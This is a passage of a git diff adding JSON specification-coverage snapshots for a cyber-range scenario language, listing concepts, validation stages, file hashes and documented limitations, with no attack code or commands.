"passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "9f7edff3ddc324cec333556ce8044c137f87c978a8c38f20f92971259625c43e", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1355 mixed mapping, time coordination, handoff, and outcome execution is covered by its dedicated runtime tests; this retained offline language corpus does not execute mixed providers or establish live backend fidelity." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "d9c4f3d6c35b70f1fc822eeae6781352b4d45c23", + "snapshot_id": "issue-1355-specification-coverage-v53", + "snapshot_revision": "53.0.0", + "source_state": { + "base_revision": "d9c4f3d6c35b70f1fc822eeae6781352b4d45c23", + "checkout_state": "modified", + "implementation_digest": "139b3dc25bf1a07690c7f1c63b619c12647ae1eda1fe344e98524005a0d56158", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v54.json b/docs/research/specification-coverage/execution-snapshot-v54.json new file mode 100644 index 000000000..e6cb75ef0 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v54.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-26T03:03:34.214257+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate 